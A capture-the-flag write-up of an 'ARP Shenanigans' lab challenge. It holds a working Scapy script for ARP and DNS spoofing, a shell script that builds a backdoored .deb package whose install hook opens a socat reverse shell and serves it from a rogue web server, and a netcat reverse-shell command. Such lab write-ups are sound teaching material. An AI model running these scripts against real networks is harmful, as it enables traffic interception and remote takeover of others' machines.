ARP Shenanigans

After solving the Tag Generator objective, I head back to the NetWars room to help Alabaster Snowball with his Scapy Terminal, in exchange for hints:

Hey Santa! You’ve got to check out our Scapy Present Packet Prepper! Please work through the whole thing to make sure it’s helpful for our guests! I made it so that players can help() to see how to get tasks and hints. When you’re done, maybe you can help me with this other issue I’m having.

The exact commands I enter can be found
HERE. They are just wonderful for refreshing my Python/Scapy skillz ahead of the main objective. Next, I get some real good hints from Alabaster:
Oh, I see the Scapy Present Packet Prepper has already been completed! Now you can help me get access to this machine. It seems that some interloper here at the North Pole has taken control of the host. We need to regain access to some important documents associated with Kringle Castle. Maybe we should try a machine-in-the-middle attack? That could give us access to manipulate DNS responses. But we’ll still need to cook up something to change the HTTP response. I’m sure glad you’re here Santa.
With the following hints appearing in the badge:
- Jack Frost must have gotten malware on our host at
10.6.6.35because we can no longer access it - Try sniffing the eth0 interface using
tcpdump -nni eth0to see if you can view any traffic from that host. - Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
- The host is performing an ARP request. Perhaps we could do a spoof to perform a
machine-in-the-middleattack. I think we have some sample scapy traffic scripts that could help you in/home/guest/scripts. - The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file
First I spend some time wrapping my head around the overall design of this challenge. I end up crafting the below diagram to help with this:

Arrows are explained below:
- The victim (right) sends an ARP request every second to find the MAC of IP: 10.6.6.53 (supposedly a local DNS server)
- As the attacker (left) I spoof the ARP response with my own MAC: 4c:24:57🆎ed:84
- The victim starts sending DNS queries asking for the IP address of: ftp.osuosl.org
- As the attacker I craft spoofed DNS responses to answer these queries with my own IP: 10.6.6.35
- The victim tries to fetch resource
/pub/jfrost/backdoor/suriv_amd64.debvia an HTTP request - As the attacker I have a custom HTTP server that returns a backdoored version of
netcat - The victim installs this package which starts a reverse shell session via
nc 10.6.6.35 4444 -e /bin/bash - As the attacker I start a local listener via
nc -lvp 4444to accept the reverse shell connection to exfil the document
Modifying the provided python scripts to achieve the ARP spoofing is quite straightforward. The DNS part requires a bit more effort, but the provided pcap examples help a lot:
1#!/usr/bin/python3
2from scapy.all import *
3import netifaces as ni
4import uuid
5
6ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
7macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
8spoofed_ip = "10.6.6.53"
9spoofed_domain = 'ftp.osuosl.org'
10
11def handle_pkt(packet):
12 response = None
13 if ARP in packet and packet[ARP].op == 1:
14 print(f"Spoofed APR response for {spoofed_ip} with own MAC {macaddr}")
15 ether_resp = Ether(dst=packet.hwsrc, type=0x806, src=macaddr)
16 arp_response = ARP(op=2, hwsrc=macaddr, hwdst=packet.hwsrc, psrc=spoofed_ip, pdst='10.6.6.35')
17 response = ether_resp / arp_response
18 else:
19 print(f"Spoofed DNS response for {spoofed_domain} with own IP {ipaddr}")
20 eth = Ether(src=macaddr, dst=packet[Ether].src)
21 ip = IP(dst=packet[IP].src, src=spoofed_ip)
22 udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
23 dns = DNS(
24 id=packet[DNS].id, rd=1, qdcount=1, ancount=1, qr=1, ra=1, qd=packet[DNS].qd,
25 an=DNSRR(rrname='ftp.osuosl.org', type='A', rclass='IN', rdata=ipaddr, ttl=82159)
26 )
27 response = eth / ip / udp / dns
28 sendp(response, iface="eth0", verbose=0)
29
30def main():
31 berkeley_packet_filter = "(" + " and ".join([
32 "udp dst port 53", "udp[10] & 0x80 = 0", "dst host {}".format(spoofed_ip), "ether dst host {}".format(macaddr)
33 ]) + ") or (arp[6:2] = 1)"
34 sniff(filter=berkeley_packet_filter, prn=handle_pkt, store=0, iface="eth0", count=0)
35
36if __name__ == "__main__":
37 main()
Next, following this guide I create the backdoored .deb package which will be served by my rogue web server. It is rather straightforward as I can reuse one of the existing packages on the terminal.
First, I make it work via netcat but then I change to socat because it’s able to establish a full-featured TTY instead of just the text output of the typed commands.
This link offers great tips on setting up both netcat and socat in reverse shells!
To make it repeatable, I craft the below script that takes care of every step, including the creation of the backdoored package, the starting of the ARP & DNS spoofing script, the starting of the web server and finally starting the socat listener for accepting the reverse shell:
1dpkg -x debs/socat_1.7.3.3-2_amd64.deb socat
2ar -x debs/socat_1.7.3.3-2_amd64.deb
3tar -xf control.tar.xz
4rm control.tar.xz data.tar.xz debian-binary md5sums
5
6mkdir socat/DEBIAN
7mv control socat/DEBIAN/
8touch socat/DEBIAN/postinst
9chmod 775 socat/DEBIAN/postinst
10LOCAL_IP=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'`
11echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${LOCAL_IP}:4444" >> socat/DEBIAN/postinst
12dpkg-deb --build ./socat/
13
14mkdir -p pub/jfrost/backdoor
15mv socat.deb pub/jfrost/backdoor/suriv_amd64.deb
16
17python3 -m http.server 80 &>/dev/null & python3 spoof.py &>/dev/null &
18
19socat file:`tty`,raw,echo=0 tcp-listen:4444
Finally, I am able to open a full-featured TTY reverse shell and open the txt file to get the answer:

On to the next one! 😎